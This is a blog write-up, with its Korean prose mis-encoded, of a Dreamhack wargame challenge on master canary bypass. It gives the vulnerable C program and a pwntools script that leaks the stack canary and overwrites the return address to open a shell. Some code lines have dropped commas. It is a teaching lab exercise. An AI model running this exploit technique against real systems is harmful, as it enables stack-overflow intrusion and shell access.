Jastes 2022. 11. 13. 22:52


Master Canary

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์Šคํƒ ๋ฒ„ํผ์™€ ํ™•์ธํ•˜๋Š” ๋ฒ•!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
 
char *global_buffer;
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}
 
void get_shell() {
    system("/bin/sh");
}
 
void *thread_routine() {
    char buf[256];
 
    global_buffer = buf;
 
}
void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;
 
    while (sz < size) {
        tmp = read(0&buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}
int main(int argc, char *argv[]) {
    size_t size;
    pthread_t thread_t;
    size_t idx;
    char leave_comment[32];
 
 
    initialize();
 
    while(1) {
        printf("1. Create thread\n");
        printf("2. Input\n");
        printf("3. Exit\n");
        printf("> ");
        scanf("%d"&idx);
 
        switch(idx) {
            case 1:
                if (pthread_create(&thread_t, NULL, thread_routine, NULL< 0)
                {
                    perror("thread create error");
                    exit(0);
                }
                break;
            case 2:
                printf("Size: ");
                scanf("%d"&size);
 
                printf("Data: ");
                read_bytes(global_buffer, size);
 
                printf("Data: %s", global_buffer);
                break;
            case 3:
                printf("Leave comment: ");
                read(0, leave_comment, 1024);
                return 0;
            default:
                printf("Nope\n");
                break;
        }
    }
    
 
    return 0;
}
cs

์œ„ ์ฝ”๋“œ๊ฐ€ ํ•ต์‹ฌ์ธ๋“ฏ ์‹ถ์œผ๋ฉฐ, ๋ณด์‹œ๋ฉด..
1๋ฒˆ ์˜ต์…˜์œผ๋กœ ์“ฐ๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑ/2๋ฒˆ์€ size๋ฅผ ์ž…๋ ฅ ํ•ด๋‹น ์ž…๋ ฅ size๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›๋„ค์š”

์ฆ‰, bof๊ฐ€ ๋ฐœ์ƒ๋˜๊ฒ ์ฃ ? ๋งˆ์ง€๋ง‰์€ read ํ•จ์ˆ˜๋กœ 1024๋ฐ”์ดํŠธ๋งŒํผ ์ž…๋ ฅ ๋ฐ›๊ธฐ

Master canary๋ฅผ ์ด์šฉํ•  ๊ฒƒ์ด๊ธฐ์—(Partial RELRO, Canary)๋ฅผ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
๋˜ํ•œ ์œ„์— get_shell()์˜ ํ•จ์ˆ˜๊ฐ€ ์กด์žฌํ•˜๋ฏ€๋กœ NX๋„ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋Š” ๋กœ๋”์—์„œ ํ• ๋‹นํ•œ TLS ์˜์—ญ์— ์กด์žฌํ•˜๊ณ , ํ•ด๋‹น ํŽ˜์ด์ง€๋Š” RW-๋กœ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
ํ•ด๋‹น ์˜์—ญ์„ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜ ๋งํฌ์— ๋Œ€ํ•˜์—ฌ ์ž์„ธํžˆ ์•Œ ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.


๋Œ€์ถฉ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์„ค๊ณ„ํ•˜์ž๋ฉด.. 1๋ฒˆ์œผ๋กœ ์“ฐ๋ ˆ๋“œ ์ƒ์„ฑ ๊ทธ ์ด์œ 
2๋ฒˆ์œผ๋กœ master canary leak / 3๋ฒˆ์œผ๋กœ ret overwrite(get_shell์„ ์ด์šฉํ•˜์—ฌ)
์ด์ „์ฒ˜๋Ÿผ ret์™€ master canary์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํ•œ ํ›„ ์‹คํ–‰ํ•˜๋ฉด ๋˜๊ฒ ๋„ค์š”.. ์ฝ”๋“œ๋„ ์œ ์‚ฌํ•ด์„œ ใ…Ž

์œ„์— ์ฐธ๊ณ ๋กœ buf๊ฐ€ ์žˆ๊ธฐ์— ๊ทธ ํ•จ์ˆ˜๋ฅผ ํ™œ์šฉํ•˜์—ฌ ๊ตฌํ•ด๋ด…์‹œ๋‹ค.
dreamhack์ด ์ดˆ๋ณด์ž๋ฅผ ์œ„ํ•ด์„œ ์ฐธ ์ฝ”๋“œ๋ฅผ ์ž˜ ์ž‘์„ฑํ•ด์ฃผ๋„ค์š” ใ…Ž

์ฃผ์„์œผ๋กœ global_buffer๋ผ๊ณ  ๋‚˜์˜จ ๋ฐ”๋กœ ๋ฐ‘์— ๋ถ€๋ถ„์„ ํ”„๋ณด๋ฅผ ๊ฑธ์–ด์ค๋‹ˆ๋‹ค.
๋ฐ”๋กœ ๋ฐ‘์— canary์˜ ์‹œ๊ทธ๋‹ˆ์ฒ˜๊ฐ€ ์žˆ๊ธฐ์— ret๊ฐ’์„ ๊ตฌํ•˜๋Š”๋ฐ ์ข‹๊ฒ ์ฃ ?

๊ทผ๋ฐ ํ”„๋ณด๋ฅผ ๊ฑธ์–ด์„œ ํ•˜๋Š” ๋ฐฉ์‹๋„ ์žˆ์ง€๋งŒ ์—ฌ๊ธฐ์„  ์ €๋Š” global_buffer๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์•„๋ž˜์ฒ˜๋Ÿผ..

??? ์™œ.. ์‹คํ–‰์‹œํ‚ค๊ธฐ๋„ ํ•ด๋„ ์•ˆ๋˜์ง€?

์ €๋ ‡๊ฒŒํ•˜๋ฉด ๋ญ”๊ฐ€ ์‹คํ–‰์ด ์ž˜ ์•ˆ๋˜๋„ค์š”

๊ทธ๋Ÿผ ์ „์—์ฒ˜๋Ÿผ rbp-0x110์™€ fs_base+0x28์˜ offset์„ ๊ตฌํ•˜๋ฉด ๋˜๊ฒ ์ฃ ?

๊ทธ๋Ÿผ ์„œ๋กœ์˜ ๊ฑฐ๋ฆฌ๊ฐ€ 0x928์ด๋ฏ€๋กœ ์ด์ „์˜ ์ฝ”๋“œ์˜ ํ˜•์‹์ฒ˜๋Ÿผ ์ž‘์„ฑํ•œ๋‹ค๋ฉด..

์ผ๋ฐ˜์ ์œผ๋ก  ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋Š” ์Šคํƒ์— ์กด์žฌX๋กœ BOF๊ฐ€ ๋ฐœ์ƒํ•ด๋„ Exploit์ด ๋ถˆ๊ฐ€๋Šฅํ•˜์ง€๋งŒ..
์“ฐ๋ ˆ๋“œ ์Šคํƒ์˜ ๊ฒฝ์šฐ๋Š” ์˜ˆ์™ธ์ ์œผ๋กœ ์“ฐ๋ ˆ๋“œ ์Šคํƒ์— ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๊ฐ€ ๋“ค์–ด๊ฐ„๋‹ค.

๊ทผ๋ฐ ์•„๋ฌด๋ฆฌ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ํ•ด๋„ ์•ˆ๋˜์„œ ๊ตฌ๊ธ€๋ง์„ ์ข€ ํ•ด๋ณด๋‹ˆ๊นŒ ๋‹ค๋ฅธ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ์—
๊ทธ๋ƒฅ ์นด๋‚˜๋ฆฌ ๋ฆญ์„ ํ•˜๋ผ๊ณ  ํ•˜์‹œ๊ธธ๋ž˜ ์œ„์™€ ๊ฐ™์ด ํ•˜์˜€์Šต๋‹ˆ๋‹ค.


 

 

Exploit Tech: Return to Shellcode

Return Address OverWrite ์นด๋‚˜๋ฆฌ ์šฐํšŒ์™€ ์…ธ ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•ด ์…ธ์„ ํš๋“ํ•˜๋Š” ๋ฐฉ๋ฒ• HTML ์‚ฝ์ž… ๋ฏธ๋ฆฌ๋ณด๊ธฐํ•  ์ˆ˜ ์—†๋Š” ์†Œ์Šค ๋ณดํ˜ธ๊ธฐ๋ฒ• ๋ฆฌ๋ˆ…์Šค์—๋Š” ๋‹ค์–‘ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ ์šฉ๋œ ๋ณดํ˜ธ๊ธฐ๋ฒ•์— ๋”ฐ

dystopia050119.tistory.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import sys
 
def main():
    FILENAME = './master_canary'
    HOST = 'host3.dreamhack.games'
 
    if(args['REMOTE']):
        p = remote(HOST, sys.argv[1])
    else:
        p = process(FILENAME)
 
    '''default Setting'''
    e = ELF(FILENAME, checksec=False)
    context(arch='amd64', os='linux', endian='little')
    context.log_level = 'debug'
    #context.cyclic_alphabet = 'ABC'
 
    get_shell = e.symbols['get_shell']
 
    '''payload script(buf-canary-sfp-ret)'''
    #payload = b'A'*0x110
    payload = b'A'*0x8e9 #Ubuntu 16.04 + printf func if print is \x00, so +1
    #payload += b'AAAAAAAA'   #canary 
 
    p.sendlineafter('> ''1')
    p.sendlineafter('> ''2')
    
    inp_sz = len(payload)
    p.sendlineafter('Size: 'str(inp_sz))
 
    '''
    #fail solve#
    p.sendlineafter('Size: ', str(inp_sz))
    p.sendlineafter('Data: ', payload)
    p.recvuntil('A'* inp_sz)
    payload += b'B'*0x8
    payload += p64(get_shell)
    #ret overwrite#
    #payload += cyclic(0x928-len(payload))
    payload += b'A'*(0x928-len(payload))
    payload += b'AAAAAAAA' #master canary
    '''
    
    canary = u64(p.recvn(7).rjust(8, b'\x00'))
    log.info(f'canary addr : {hex(canary)}')
 
    #RET Overwrite
    payload = b'A'*0x28
    payload += p64(canary)
    payload += b'B' * 0x8
    payload += p64(get_shell)
    
    #p.sendlineafter('Size: ', str(len(payload)))
    #p.sendlineafter('Data: ', payload)
 
    p.sendlineafter('> ''3')
    p.sendlineafter('Leave comment: ', payload)
 
    p.interactive()
 
if __name__=="__main__":
    main()
cs

์ด ๋ถ€๋ถ„์ด ํ•ต์‹ฌ์œผ๋กœ ๋‚˜๋จธ์ง€ ์œ„์— ์ฝ”๋“œ๋Š” ์ทจํ–ฅ์ฐจ์ด์ด๋ฏ€๋กœ ๋„˜์–ด๊ฐ€๋„๋ก ํ•ฉ์‹œ๋‹ค.
์œ„์— canary leak์„ ํ•  ๋•Œ์ฒ˜๋Ÿผ rbp-0x114๊ฐ€ ์ด ๋ฒ„ํผ์˜ ํฌ๊ธฐ์ด๋ฉฐ, ๋‚˜๋จธ์ง€๋Š” ์œ„์— ์„ค๋ช…์—์„œ์ฒ˜๋Ÿผ ํ•˜๋ฉด..
์งœ๋ž€! ๋์ด ๋‚˜๊ฒŒ๋ฉ๋‹ˆ๋‹ค.

buf์™€ master canary์˜ ์‚ฌ์ด๊ฐ’์ด๊ณ ์š”(ํ™˜๊ฒฝ ์ด์Šˆ๊ฐ€ ์žˆ์–ด์„œ ํ™˜๊ฒฝ๋งŒ ๋„์ปค๋กœ ํ•˜์‹œ๊ณ  ํ•˜๋ฉด ๋˜‘๊ฐ™์•„์š”)
printf๋Š” \x00์„ ๋ฐ›์œผ๋ฉด ์ถœ๋ ฅํ•˜๊ธฐ์— ์”น์–ด์ฃผ๊ธฐ ์œ„ํ•ด ๋„ฃ์œผ์‹œ๊ณ ..

canary๋ฅผ ๋ฐ›์€ ๋ชจ์Šต์ด๋ฉฐ, ret์˜ ๊ฐ’์„ ๋ณ€์กฐํ•˜๊ธฐ์œ„ํ•ด(master canary)๋กœ ์ ‘๊ทผํ–ˆ๊ธฐ์—
ํ•ด๋‹น ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์šฐ๋ฆฌ๊ฐ€ ์•„๊นŒ ๋ฐ›์•˜๋˜ ๋ถ€๋ถ„์œผ๋กœ ๋„ฃ์œผ๋ฉด master canary๊ฐ€ ๋‹ค๋ฅธ ๊ณณ์—์„œ ๋ฐ›์€
๊ณณ์ด๋ผ๋„ ์–ด์งœํ”ผ ์šฐ๋ฆฌ๊ฐ€ ์‚ฌ์šฉํ•  ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋„ ๋˜‘๊ฐ™์ด ๋ณ€์กฐ ret๋กœ ์šฐํšŒํ•˜๋ฉด..

master canary leak์„ ์ด์šฉํ•œ ๋ถ€๋ถ„์ด๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!!


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€